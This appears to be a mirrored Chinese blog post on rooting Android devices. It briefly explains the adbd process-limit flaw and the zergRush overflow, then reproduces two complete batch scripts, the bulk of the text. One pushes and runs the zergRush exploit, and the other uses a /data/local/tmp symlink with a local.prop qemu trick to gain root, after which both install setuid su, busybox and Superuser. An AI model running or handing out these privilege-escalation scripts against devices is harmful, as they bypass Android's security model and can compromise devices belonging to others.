zoukankan      html  css  js  c++  java
  • Android root 有感

    1 Android下面想做事情,会有权限限制。所以经常需要提取Root权限。

    2 Android下面获取Root权限的方法并不完全是一样的。这是由于Android的源码漏洞决定了的。提取Root权限就是利用Android系统的漏洞。所以不同的版本的漏洞是不一样的,才导致提取Root的方法是不一样的。

    3 Android获取Root的最终步骤是:在System目录下的bin或xbin目录下,放一个有root权限的su文件。在xbin下面放入一个busybox文件;另外装上一个SuperUser.apk,用来管理权限的使用。

    4 Android版本的漏洞有下面几个:

      1 adbd中有个漏洞是创建线程成功时,降底进程的权限。但是创建进程时没有判断进程有没有创建成功。利用Shell进程最大数的限制,不断的Fork()新的僵尸进程。从而达到进程限制上限。这样就可以让adbd创建不成功,从而跳过降权限的语句。

      2 zergRush exploit :zergRush堆栈溢出.需要一个.zergRush的可执行文件.

      3

      4 Android4.0 提取ROOT.

      重新链接.

     

     

    5 提取Root的指令如下:

     zerRush漏洞:

      @echo ---------------------------------------------------------------
    @echo               Easy rooting toolkit (v1.0)
    @echo                    created by DooMLoRD
    @echo         using exploit zergRush (Revolutionary Team)
    @echo    Credits go to all those involved in making this possible!
    @echo ---------------------------------------------------------------
    @echo  [*] This script will:
    @echo      (1) root ur device using zergRush exploit
    @echo      (2) install Busybox (1.18.4)
    @echo      (3) install SU files (3.0.5)
    @echo  [*] Before u begin:  
    @echo      (1) make sure u have installed adb drivers for ur device
    @echo      (2) enable "USB DEBUGGING"
    @echo            from (Menu\Settings\Applications\Development)
    @echo      (3) enable "UNKNOWN SOURCES"
    @echo            from (Menu\Settings\Applications)
    @echo      (4) [OPTIONAL] increase screen timeout to 10 minutes
    @echo      (5) connect USB cable to PHONE and then connect to PC
    @echo      (6) skip "PC Companion Software" prompt on device
    @echo ---------------------------------------------------------------
    @echo  CONFIRM ALL THE ABOVE THEN
    @pause
    @echo --- STARTING ----
    @echo --- WAITING FOR DEVICE
    @files\adb wait-for-device
    @echo --- cleaning
    @files\adb shell "cd /data/local/tmp/; rm *"
    @echo --- pushing zergRush"
    @files\adb push files\zergRush /data/local/tmp/.
    @echo --- correcting permissions
    @files\adb shell "chmod 777 /data/local/tmp/zergRush"
    @echo --- executing zergRush
    @files\adb shell "./data/local/tmp/zergRush"
    @echo --- WAITING FOR DEVICE TO RECONNECT
    @echo if it gets stuck over here for a long time then try:
    @echo    disconnect usb cable and reconnect it
    @echo    toggle "USB DEBUGGING" (first disable it then enable it)
    @echo --- DEVICE FOUND
    @files\adb wait-for-device
    @echo --- pushing busybox
    @files\adb push files\busybox /data/local/tmp/.
    @echo --- correcting permissions
    @files\adb shell "chmod 755 /data/local/tmp/busybox"
    @echo --- remounting /system
    @files\adb shell "/data/local/tmp/busybox mount -o remount,rw /system"
    @echo --- copying busybox to /system/xbin/
    @files\adb shell "dd if=/data/local/tmp/busybox of=/system/xbin/busybox"
    @echo --- correcting ownership
    @files\adb shell "chown root.shell /system/xbin/busybox"
    @echo --- correcting permissions
    @files\adb shell "chmod 04755 /system/xbin/busybox"
    @echo --- installing busybox
    @files\adb shell "/system/xbin/busybox --install -s /system/xbin"
    @files\adb shell "rm -r /data/local/tmp/busybox"
    @echo --- pushing SU binary
    @files\adb push files\su /system/bin/su
    @echo --- correcting ownership
    @files\adb shell "chown root.shell /system/bin/su"
    @echo --- correcting permissions
    @files\adb shell "chmod 06755 /system/bin/su"
    @echo --- correcting symlinks
    @files\adb shell "rm /system/xbin/su"
    @files\adb shell "ln -s /system/bin/su /system/xbin/su"
    @echo --- pushing Superuser app
    @files\adb push files\Superuser.apk /system/app/.
    @echo --- cleaning
    @files\adb shell "cd /data/local/tmp/; rm *"
    @echo --- rebooting
    @files\adb reboot
    @echo ALL DONE!!!
    @pause

     

    Android4.0下:

    echo off

    cls
    echo.
    echo by zopo008 (欢迎访问bbs.zopomobile.com.)
    echo.
    echo.
    adb shell mv /data/local/tmp /data/local/tmp.bak
    adb shell ln -s /data /data/local/tmp
    adb reboot
    echo Rebooting (1/3) - Continue once device finishes rebooting
    echo 正在重启手机(第1次,共3次)- 请等待重启完毕,之后按任意键继续
    pause

    adb shell rm /data/local.prop > nul
    adb shell "echo \"ro.kernel.qemu=1\" > /data/local.prop"
    adb reboot
    echo Rebooting (2/3) - Continue once device finishes rebooting
    echo 正在重启平板(第2次,共3次)- 请等待重启完毕,之后按任意键继续
    pause

    adb shell id
    echo If the id is 0 / root then continue, otherwise ctrl+c to cancel and start over
    echo 如果上面显示的id为0或者root,按任意键继续;否则按Ctrl-C并回复Y来取消本次root尝试,然后重试
    pause

    adb remount
    adb push su /system/bin/su
    adb shell chown 0.0 /system/bin/su
    adb shell chmod 06755 /system/bin/su
    adb push busybox /system/bin/busybox
    adb shell chown 0.0 /system/bin/busybox
    adb shell chmod 0755 /system/bin/busybox
    adb push Superuser.apk /system/app/Superuser.apk
    adb shell chown 0.0 /system/app/Superuser.apk
    adb shell chmod 0644 /system/app/Superuser.apk
    adb push RootExplorer.apk /system/app/RootExplorer.apk
    adb shell chown 0.0 /system/app/RootExplorer.apk
    adb shell chmod 0644 /system/app/RootExplorer.apk
    echo Removing changes except ROOT
    echo 正在进行清理和恢复
    adb shell rm /data/local.prop
    adb shell rm /data/local/tmp
    adb shell mv /data/local/tmp.bak /data/local/tmp
    adb reboot

    echo Rebooting (3/3) - You should now be Rooted
    echo 正在重启平板(第3次,共3次) - root成功
    pause

    echo on

  • 相关阅读:
    IE设置代理后登录QQ再关闭代理仍然可以使用QQ
    ubuntu14.04下Qt开发环境搭建遇到的问题
    CButtonST使用技巧: CButtonST简介
    springboot webapi 支持跨域 CORS
    服务注册和发现 Eureka
    开发框架 springBoot
    springBoot springCloud
    springBoot 微服务
    springBoot AOP环绕增强、自定义注解、log4j2、MDC
    springBoot 热部署
  • 原文地址:https://www.cnblogs.com/jackrex/p/3001405.html
Copyright © 2011-2022 走看看